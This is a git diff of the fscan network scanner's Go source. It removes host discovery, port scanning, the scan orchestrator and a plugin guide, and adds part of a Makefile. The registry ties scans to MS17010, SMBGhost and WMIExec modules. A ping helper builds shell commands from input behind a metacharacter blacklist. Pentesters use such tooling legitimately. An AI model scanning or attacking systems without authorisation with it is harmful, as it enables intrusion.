}()
|
||||
|
||||
// 发送ICMP请求
|
||||
for _, host := range hostslist {
|
||||
dst, _ := net.ResolveIPAddr("ip", host)
|
||||
IcmpByte := makemsg(host)
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
}
|
||||
|
||||
// 等待响应
|
||||
start := time.Now()
|
||||
for {
|
||||
// 所有主机都已响应则退出
|
||||
if len(AliveHosts) == len(hostslist) {
|
||||
break
|
||||
}
|
||||
|
||||
// 根据主机数量设置超时时间
|
||||
since := time.Since(start)
|
||||
wait := time.Second * 6
|
||||
if len(hostslist) <= 256 {
|
||||
wait = time.Second * 3
|
||||
}
|
||||
|
||||
if since > wait {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
endflag = true
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
|
||||
func RunIcmp2(hostslist []string, chanHosts chan string) {
|
||||
// 控制并发数
|
||||
num := 1000
|
||||
if len(hostslist) < num {
|
||||
num = len(hostslist)
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, num)
|
||||
|
||||
// 并发探测
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
|
||||
go func(host string) {
|
||||
defer func() {
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}()
|
||||
|
||||
if icmpalive(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
}(host)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(limiter)
|
||||
}
|
||||
|
||||
// icmpalive 检测主机ICMP是否存活
|
||||
func icmpalive(host string) bool {
|
||||
startTime := time.Now()
|
||||
|
||||
// 建立ICMP连接
|
||||
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时时间
|
||||
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 构造并发送ICMP请求
|
||||
msg := makemsg(host)
|
||||
if _, err := conn.Write(msg); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 接收ICMP响应
|
||||
receive := make([]byte, 60)
|
||||
if _, err := conn.Read(receive); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// RunPing 使用系统Ping命令并发探测主机存活
|
||||
func RunPing(hostslist []string, chanHosts chan string) {
|
||||
var wg sync.WaitGroup
|
||||
// 限制并发数为50
|
||||
limiter := make(chan struct{}, 50)
|
||||
|
||||
// 并发探测
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
|
||||
go func(host string) {
|
||||
defer func() {
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}()
|
||||
|
||||
if ExecCommandPing(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
}(host)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
// ExecCommandPing 执行系统Ping命令检测主机存活
|
||||
func ExecCommandPing(ip string) bool {
|
||||
// 过滤黑名单字符
|
||||
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
|
||||
for _, char := range forbiddenChars {
|
||||
if strings.Contains(ip, char) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
var command *exec.Cmd
|
||||
// 根据操作系统选择不同的ping命令
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
|
||||
case "darwin":
|
||||
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
|
||||
default: // linux
|
||||
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
|
||||
}
|
||||
|
||||
// 捕获命令输出
|
||||
var outinfo bytes.Buffer
|
||||
command.Stdout = &outinfo
|
||||
|
||||
// 执行命令
|
||||
if err := command.Start(); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if err := command.Wait(); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 分析输出结果
|
||||
output := outinfo.String()
|
||||
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
|
||||
}
|
||||
|
||||
// makemsg 构造ICMP echo请求消息
|
||||
func makemsg(host string) []byte {
|
||||
msg := make([]byte, 40)
|
||||
|
||||
// 获取标识符
|
||||
id0, id1 := genIdentifier(host)
|
||||
|
||||
// 设置ICMP头部
|
||||
msg[0] = 8 // Type: Echo Request
|
||||
msg[1] = 0 // Code: 0
|
||||
msg[2] = 0 // Checksum高位(待计算)
|
||||
msg[3] = 0 // Checksum低位(待计算)
|
||||
msg[4], msg[5] = id0, id1 // Identifier
|
||||
msg[6], msg[7] = genSequence(1) // Sequence Number
|
||||
|
||||
// 计算校验和
|
||||
check := checkSum(msg[0:40])
|
||||
msg[2] = byte(check >> 8) // 设置校验和高位
|
||||
msg[3] = byte(check & 255) // 设置校验和低位
|
||||
|
||||
return msg
|
||||
}
|
||||
|
||||
// checkSum 计算ICMP校验和
|
||||
func checkSum(msg []byte) uint16 {
|
||||
sum := 0
|
||||
length := len(msg)
|
||||
|
||||
// 按16位累加
|
||||
for i := 0; i < length-1; i += 2 {
|
||||
sum += int(msg[i])*256 + int(msg[i+1])
|
||||
}
|
||||
|
||||
// 处理奇数长度情况
|
||||
if length%2 == 1 {
|
||||
sum += int(msg[length-1]) * 256
|
||||
}
|
||||
|
||||
// 将高16位加到低16位
|
||||
sum = (sum >> 16) + (sum & 0xffff)
|
||||
sum = sum + (sum >> 16)
|
||||
|
||||
// 取反得到校验和
|
||||
return uint16(^sum)
|
||||
}
|
||||
|
||||
// genSequence 生成ICMP序列号
|
||||
func genSequence(v int16) (byte, byte) {
|
||||
ret1 := byte(v >> 8) // 高8位
|
||||
ret2 := byte(v & 255) // 低8位
|
||||
return ret1, ret2
|
||||
}
|
||||
|
||||
// genIdentifier 根据主机地址生成标识符
|
||||
func genIdentifier(host string) (byte, byte) {
|
||||
return host[0], host[1] // 使用主机地址前两个字节
|
||||
}
|
||||
|
||||
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
|
||||
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
|
||||
if len(arrInit) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
// 统计各网段出现次数
|
||||
segmentCounts := make(map[string]int)
|
||||
for _, ip := range arrInit {
|
||||
segments := strings.Split(ip, ".")
|
||||
if len(segments) != 4 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 根据flag确定统计B段还是C段
|
||||
var segment string
|
||||
if flag {
|
||||
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
|
||||
} else {
|
||||
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
|
||||
}
|
||||
|
||||
segmentCounts[segment]++
|
||||
}
|
||||
|
||||
// 创建副本用于排序
|
||||
sortMap := make(map[string]int)
|
||||
for k, v := range segmentCounts {
|
||||
sortMap[k] = v
|
||||
}
|
||||
|
||||
// 获取TOP N结果
|
||||
for i := 0; i < length && len(sortMap) > 0; i++ {
|
||||
maxSegment := ""
|
||||
maxCount := 0
|
||||
|
||||
// 查找当前最大值
|
||||
for segment, count := range sortMap {
|
||||
if count > maxCount {
|
||||
maxCount = count
|
||||
maxSegment = segment
|
||||
}
|
||||
}
|
||||
|
||||
// 添加到结果集
|
||||
arrTop = append(arrTop, maxSegment)
|
||||
arrLen = append(arrLen, maxCount)
|
||||
|
||||
// 从待处理map中删除已处理项
|
||||
delete(sortMap, maxSegment)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,136 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Addr 表示待扫描的地址
|
||||
type Addr struct {
|
||||
ip string // IP地址
|
||||
port int // 端口号
|
||||
}
|
||||
|
||||
// PortScan 执行端口扫描
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var AliveAddress []string
|
||||
|
||||
// 解析端口列表
|
||||
probePorts := Common.ParsePort(ports)
|
||||
if len(probePorts) == 0 {
|
||||
fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports)
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
// 排除指定端口
|
||||
probePorts = excludeNoPorts(probePorts)
|
||||
|
||||
// 创建通道
|
||||
workers := Common.Threads
|
||||
addrs := make(chan Addr, 100)
|
||||
results := make(chan string, 100)
|
||||
var wg sync.WaitGroup
|
||||
|
||||
// 接收扫描结果
|
||||
go collectResults(&AliveAddress, results, &wg)
|
||||
|
||||
// 启动扫描协程
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for addr := range addrs {
|
||||
PortConnect(addr, results, timeout, &wg)
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 添加扫描目标
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
addrs <- Addr{host, port}
|
||||
}
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(addrs)
|
||||
close(results)
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
// collectResults 收集扫描结果
|
||||
func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) {
|
||||
for found := range results {
|
||||
*aliveAddrs = append(*aliveAddrs, found)
|
||||
wg.Done()
|
||||
}
|
||||
}
|
||||
|
||||
// PortConnect 尝试连接指定端口
|
||||
func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) {
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp4",
|
||||
fmt.Sprintf("%s:%v", addr.ip, addr.port),
|
||||
time.Duration(timeout)*time.Second)
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 记录开放端口
|
||||
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
|
||||
result := fmt.Sprintf("[+] 端口开放 %s", address)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
wg.Add(1)
|
||||
respondingHosts <- address
|
||||
}
|
||||
|
||||
// NoPortScan 生成端口列表(不进行扫描)
|
||||
func NoPortScan(hostslist []string, ports string) []string {
|
||||
var AliveAddress []string
|
||||
|
||||
// 解析并排除端口
|
||||
probePorts := excludeNoPorts(Common.ParsePort(ports))
|
||||
|
||||
// 生成地址列表
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
address := fmt.Sprintf("%s:%d", host, port)
|
||||
AliveAddress = append(AliveAddress, address)
|
||||
}
|
||||
}
|
||||
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
// excludeNoPorts 排除指定的端口
|
||||
func excludeNoPorts(ports []int) []int {
|
||||
noPorts := Common.ParsePort(Common.NoPorts)
|
||||
if len(noPorts) == 0 {
|
||||
return ports
|
||||
}
|
||||
|
||||
// 使用map过滤端口
|
||||
temp := make(map[int]struct{})
|
||||
for _, port := range ports {
|
||||
temp[port] = struct{}{}
|
||||
}
|
||||
|
||||
for _, port := range noPorts {
|
||||
delete(temp, port)
|
||||
}
|
||||
|
||||
// 转换为切片并排序
|
||||
var newPorts []int
|
||||
for port := range temp {
|
||||
newPorts = append(newPorts, port)
|
||||
}
|
||||
sort.Ints(newPorts)
|
||||
|
||||
return newPorts
|
||||
}
|
||||
@@ -1,130 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/Plugins"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// 注册标准端口服务扫描
|
||||
Common.RegisterPlugin("ftp", Common.ScanPlugin{
|
||||
Name: "FTP",
|
||||
Port: 21,
|
||||
ScanFunc: Plugins.FtpScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("ssh", Common.ScanPlugin{
|
||||
Name: "SSH",
|
||||
Port: 22,
|
||||
ScanFunc: Plugins.SshScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("findnet", Common.ScanPlugin{
|
||||
Name: "FindNet",
|
||||
Port: 135,
|
||||
ScanFunc: Plugins.Findnet,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("netbios", Common.ScanPlugin{
|
||||
Name: "NetBIOS",
|
||||
Port: 139,
|
||||
ScanFunc: Plugins.NetBIOS,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("smb", Common.ScanPlugin{
|
||||
Name: "SMB",
|
||||
Port: 445,
|
||||
ScanFunc: Plugins.SmbScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("mssql", Common.ScanPlugin{
|
||||
Name: "MSSQL",
|
||||
Port: 1433,
|
||||
ScanFunc: Plugins.MssqlScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("oracle", Common.ScanPlugin{
|
||||
Name: "Oracle",
|
||||
Port: 1521,
|
||||
ScanFunc: Plugins.OracleScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("mysql", Common.ScanPlugin{
|
||||
Name: "MySQL",
|
||||
Port: 3306,
|
||||
ScanFunc: Plugins.MysqlScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("rdp", Common.ScanPlugin{
|
||||
Name: "RDP",
|
||||
Port: 3389,
|
||||
ScanFunc: Plugins.RdpScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("postgres", Common.ScanPlugin{
|
||||
Name: "PostgreSQL",
|
||||
Port: 5432,
|
||||
ScanFunc: Plugins.PostgresScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("redis", Common.ScanPlugin{
|
||||
Name: "Redis",
|
||||
Port: 6379,
|
||||
ScanFunc: Plugins.RedisScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
|
||||
Name: "FastCGI",
|
||||
Port: 9000,
|
||||
ScanFunc: Plugins.FcgiScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("memcached", Common.ScanPlugin{
|
||||
Name: "Memcached",
|
||||
Port: 11211,
|
||||
ScanFunc: Plugins.MemcachedScan,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
|
||||
Name: "MongoDB",
|
||||
Port: 27017,
|
||||
ScanFunc: Plugins.MongodbScan,
|
||||
})
|
||||
|
||||
// 注册特殊扫描类型
|
||||
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
|
||||
Name: "MS17010",
|
||||
Port: 445,
|
||||
ScanFunc: Plugins.MS17010,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
|
||||
Name: "SMBGhost",
|
||||
Port: 445,
|
||||
ScanFunc: Plugins.SmbGhost,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("web", Common.ScanPlugin{
|
||||
Name: "WebTitle",
|
||||
Port: 0,
|
||||
ScanFunc: Plugins.WebTitle,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("smb2", Common.ScanPlugin{
|
||||
Name: "SMBScan2",
|
||||
Port: 445,
|
||||
ScanFunc: Plugins.SmbScan2,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
|
||||
Name: "WMIExec",
|
||||
Port: 135,
|
||||
ScanFunc: Plugins.WmiExec,
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
|
||||
Name: "LocalInfo",
|
||||
Port: 0,
|
||||
ScanFunc: Plugins.LocalInfoScan,
|
||||
})
|
||||
}
|
||||
-204
@@ -1,204 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func Scan(info Common.HostInfo) {
|
||||
fmt.Println("[*] 开始信息扫描...")
|
||||
|
||||
// 本地信息收集模块
|
||||
if Common.Scantype == "localinfo" {
|
||||
ch := make(chan struct{}, Common.Threads)
|
||||
wg := sync.WaitGroup{}
|
||||
AddScan("localinfo", info, &ch, &wg)
|
||||
wg.Wait()
|
||||
Common.LogWG.Wait()
|
||||
close(Common.Results)
|
||||
fmt.Printf("[✓] 扫描完成 %v/%v\n", Common.End, Common.Num)
|
||||
return
|
||||
}
|
||||
|
||||
// 解析目标主机IP
|
||||
Hosts, err := Common.ParseIP(info.Host, Common.HostFile, Common.NoHosts)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] 解析主机错误: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 初始化配置
|
||||
lib.Inithttp()
|
||||
ch := make(chan struct{}, Common.Threads)
|
||||
wg := sync.WaitGroup{}
|
||||
var AlivePorts []string
|
||||
|
||||
if len(Hosts) > 0 || len(Common.HostPort) > 0 {
|
||||
// ICMP存活性检测
|
||||
if (Common.NoPing == false && len(Hosts) > 1) || Common.Scantype == "icmp" {
|
||||
Hosts = CheckLive(Hosts, Common.Ping)
|
||||
fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts))
|
||||
if Common.Scantype == "icmp" {
|
||||
Common.LogWG.Wait()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 端口扫描策略
|
||||
AlivePorts = executeScanStrategy(Hosts, Common.Scantype)
|
||||
|
||||
// 处理自定义端口
|
||||
if len(Common.HostPort) > 0 {
|
||||
AlivePorts = append(AlivePorts, Common.HostPort...)
|
||||
AlivePorts = Common.RemoveDuplicate(AlivePorts)
|
||||
Common.HostPort = nil
|
||||
fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts))
|
||||
}
|
||||
|
||||
// 执行扫描任务
|
||||
fmt.Println("[*] 开始漏洞扫描...")
|
||||
for _, targetIP := range AlivePorts {
|
||||
hostParts := strings.Split(targetIP, ":")
|
||||
if len(hostParts) != 2 {
|
||||
fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP)
|
||||
continue
|
||||
}
|
||||
info.Host, info.Ports = hostParts[0], hostParts[1]
|
||||
|
||||
executeScanTasks(info, Common.Scantype, &ch, &wg)
|
||||
}
|
||||
}
|
||||
|
||||
// URL扫描
|
||||
for _, url := range Common.Urls {
|
||||
info.Url = url
|
||||
AddScan("web", info, &ch, &wg)
|
||||
}
|
||||
|
||||
// 等待所有任务完成
|
||||
wg.Wait()
|
||||
Common.LogWG.Wait()
|
||||
close(Common.Results)
|
||||
fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num)
|
||||
}
|
||||
|
||||
// executeScanStrategy 执行端口扫描策略
|
||||
func executeScanStrategy(Hosts []string, scanType string) []string {
|
||||
switch scanType {
|
||||
case "webonly", "webpoc":
|
||||
return NoPortScan(Hosts, Common.Ports)
|
||||
case "hostname":
|
||||
Common.Ports = "139"
|
||||
return NoPortScan(Hosts, Common.Ports)
|
||||
default:
|
||||
if len(Hosts) > 0 {
|
||||
ports := PortScan(Hosts, Common.Ports, Common.Timeout)
|
||||
fmt.Printf("[+] 存活端口数量: %d\n", len(ports))
|
||||
if scanType == "portscan" {
|
||||
Common.LogWG.Wait()
|
||||
return nil
|
||||
}
|
||||
return ports
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// executeScanTasks 执行扫描任务
|
||||
func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
if scanType == "all" || scanType == "main" {
|
||||
// 根据端口选择扫描插件
|
||||
switch info.Ports {
|
||||
case "135":
|
||||
AddScan("findnet", info, ch, wg)
|
||||
if Common.IsWmi {
|
||||
AddScan("wmiexec", info, ch, wg)
|
||||
}
|
||||
case "445":
|
||||
AddScan("ms17010", info, ch, wg)
|
||||
case "9000":
|
||||
AddScan("web", info, ch, wg)
|
||||
AddScan("fcgi", info, ch, wg)
|
||||
default:
|
||||
// 查找对应端口的插件
|
||||
for name, plugin := range Common.PluginManager {
|
||||
if strconv.Itoa(plugin.Port) == info.Ports {
|
||||
AddScan(name, info, ch, wg)
|
||||
return
|
||||
}
|
||||
}
|
||||
// 默认执行Web扫描
|
||||
AddScan("web", info, ch, wg)
|
||||
}
|
||||
} else {
|
||||
// 直接使用指定的扫描类型
|
||||
AddScan(scanType, info, ch, wg)
|
||||
}
|
||||
}
|
||||
|
||||
// Mutex用于保护共享资源的并发访问
|
||||
var Mutex = &sync.Mutex{}
|
||||
|
||||
// AddScan 添加扫描任务到并发队列
|
||||
func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
// 获取信号量,控制并发数
|
||||
*ch <- struct{}{}
|
||||
// 添加等待组计数
|
||||
wg.Add(1)
|
||||
|
||||
// 启动goroutine执行扫描任务
|
||||
go func() {
|
||||
defer func() {
|
||||
wg.Done() // 完成任务后减少等待组计数
|
||||
<-*ch // 释放信号量
|
||||
}()
|
||||
|
||||
// 增加总任务数
|
||||
Mutex.Lock()
|
||||
Common.Num += 1
|
||||
Mutex.Unlock()
|
||||
|
||||
// 执行扫描
|
||||
ScanFunc(&scantype, &info)
|
||||
|
||||
// 增加已完成任务数
|
||||
Mutex.Lock()
|
||||
Common.End += 1
|
||||
Mutex.Unlock()
|
||||
}()
|
||||
}
|
||||
|
||||
// ScanFunc 执行扫描插件
|
||||
func ScanFunc(name *string, info *Common.HostInfo) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
|
||||
}
|
||||
}()
|
||||
|
||||
// 检查插件是否存在
|
||||
plugin, exists := Common.PluginManager[*name]
|
||||
if !exists {
|
||||
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name)
|
||||
return
|
||||
}
|
||||
|
||||
// 直接调用扫描函数
|
||||
if err := plugin.ScanFunc(info); err != nil {
|
||||
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
|
||||
}
|
||||
}
|
||||
|
||||
// IsContain 检查切片中是否包含指定元素
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
# FScan 插件开发指南
|
||||
|
||||
## 1. 创建插件
|
||||
在 `Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
|
||||
|
||||
```go
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
)
|
||||
|
||||
func MyPluginScan(info *Common.HostInfo) error {
|
||||
// 1. 基础检查
|
||||
if info == nil {
|
||||
return errors.New("Invalid host info")
|
||||
}
|
||||
|
||||
// 2. 实现扫描逻辑
|
||||
result, err := doScan(info)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 3. 处理结果
|
||||
if result.Vulnerable {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
```
|
||||
|
||||
## 2. 注册插件
|
||||
在 `Core/Registry.go` 中注册你的插件:
|
||||
|
||||
```go
|
||||
Common.RegisterPlugin("myplugin", Common.ScanPlugin{
|
||||
Name: "MyPlugin",
|
||||
Port: 12345, // 指定端口,如果是web类插件可设为0
|
||||
ScanFunc: Plugins.MyPluginScan,
|
||||
})
|
||||
```
|
||||
|
||||
## 3. 开发规范
|
||||
|
||||
### 插件结构
|
||||
- 每个插件应当是独立的功能模块
|
||||
- 使用清晰的函数名和变量名
|
||||
- 添加必要的注释说明功能和实现逻辑
|
||||
|
||||
### 错误处理
|
||||
```go
|
||||
// 推荐的错误处理方式
|
||||
if err != nil {
|
||||
return fmt.Errorf("plugin_name scan error: %v", err)
|
||||
}
|
||||
```
|
||||
|
||||
### 日志输出
|
||||
```go
|
||||
// 使用内置的日志函数
|
||||
Common.LogSuccess("发现漏洞")
|
||||
Common.LogError("扫描错误")
|
||||
```
|
||||
|
||||
## 4. 测试验证
|
||||
|
||||
- 编译整个项目确保无错误
|
||||
- 实际环境测试插件功能
|
||||
- 验证与其他插件的兼容性
|
||||
|
||||
## 5. 提交流程
|
||||
|
||||
1. Fork 项目仓库
|
||||
2. 创建功能分支
|
||||
3. 提交代码更改
|
||||
4. 编写清晰的提交信息
|
||||
5. 创建 Pull Request
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 遵循 Go 编码规范
|
||||
- 保证代码可读性和可维护性
|
||||
- 禁止提交恶意代码
|
||||
- 做好异常处理和超时控制
|
||||
- 避免过度消耗系统资源
|
||||
- 注意信息安全,不要泄露敏感数据
|
||||
@@ -0,0 +1,191 @@
|
||||
# fscan Makefile
|
||||
# 提供统一的构建、测试、检查命令
|
||||
|
||||
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
|
||||
|
||||
# 默认目标
|
||||
.DEFAULT_GOAL := help
|
||||
|
||||
# 项目配置
|
||||
BINARY_NAME := fscan
|
||||
GO := go
|
||||
GOLANGCI_LINT := golangci-lint
|
||||
|
||||
# 颜色输出
|
||||
BLUE := \033[0;34m
|
||||
GREEN := \033[0;32m
|
||||
RED := \033[0;31m
|
||||
NC := \033[0m # No Color
|
||||
|
||||
## help: 显示帮助信息
|
||||
help:
|
||||
@echo "$(BLUE)fscan 构建工具$(NC)"
|
||||
@echo ""
|
||||
@echo "$(GREEN)可用命令:$(NC)"
|
||||
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
|
||||
@echo ""
|
||||
|
||||
## deps: 下载依赖
|
||||
deps:
|
||||
@echo "$(BLUE)下载依赖...$(NC)"
|
||||
$(GO) mod download
|
||||
$(GO) mod verify
|
||||
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
|
||||
|
||||
## test: 运行测试
|
||||
test:
|
||||
@echo "$(BLUE)运行测试...$(NC)"
|
||||
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
|
||||
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf)
|
||||
$(GO) test -vet=off -race -v ./...
|
||||
@echo "$(GREEN)✓ 测试通过$(NC)"
|
||||
|
||||
## test-cover: 运行测试并生成覆盖率报告
|
||||
test-cover:
|
||||
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
|
||||
# 禁用go test内置的vet检查,原因同上
|
||||
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
|
||||
@echo ""
|
||||
@echo "$(BLUE)覆盖率报告:$(NC)"
|
||||
$(GO) tool cover -func=coverage.out | tail -1
|
||||
@echo ""
|
||||
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
|
||||
$(GO) tool cover -html=coverage.out -o coverage.html
|
||||
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
|
||||
|
||||
## build: 构建生产版本(无 pprof,优化体积)
|
||||
build:
|
||||
@echo "$(BLUE)构建生产版本(无 pprof)...$(NC)"
|
||||
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
|
||||
|
||||
## build-web: 构建带Web UI的版本(需要先构建前端)
|
||||
build-web: build-ui
|
||||
@echo "$(BLUE)构建Web版本...$(NC)"
|
||||
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
|
||||
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)"
|
||||
|
||||
## build-ui: 构建前端(需要Node.js和npm)
|
||||
build-ui:
|
||||
@echo "$(BLUE)构建前端...$(NC)"
|
||||
@if [ ! -d "web-ui" ]; then \
|
||||
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
|
||||
echo "请先创建前端项目"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@cd web-ui && npm install && npm run build
|
||||
@rm -rf web/dist
|
||||
@cp -r web-ui/dist web/dist
|
||||
@echo "$(GREEN)✓ 前端构建完成$(NC)"
|
||||
|
||||
## build-debug: 构建调试版本(带 pprof)
|
||||
build-debug:
|
||||
@echo "$(BLUE)构建调试版本(带 pprof)...$(NC)"
|
||||
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
|
||||
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
|
||||
|
||||
## build-race: 构建 race 检测版本
|
||||
build-race:
|
||||
@echo "$(BLUE)构建 race 检测版本...$(NC)"
|
||||
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
|
||||
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
|
||||
|
||||
## build-all: 构建所有平台的二进制文件
|
||||
build-all:
|
||||
@echo "$(BLUE)构建所有平台...$(NC)"
|
||||
@echo "Windows amd64..."
|
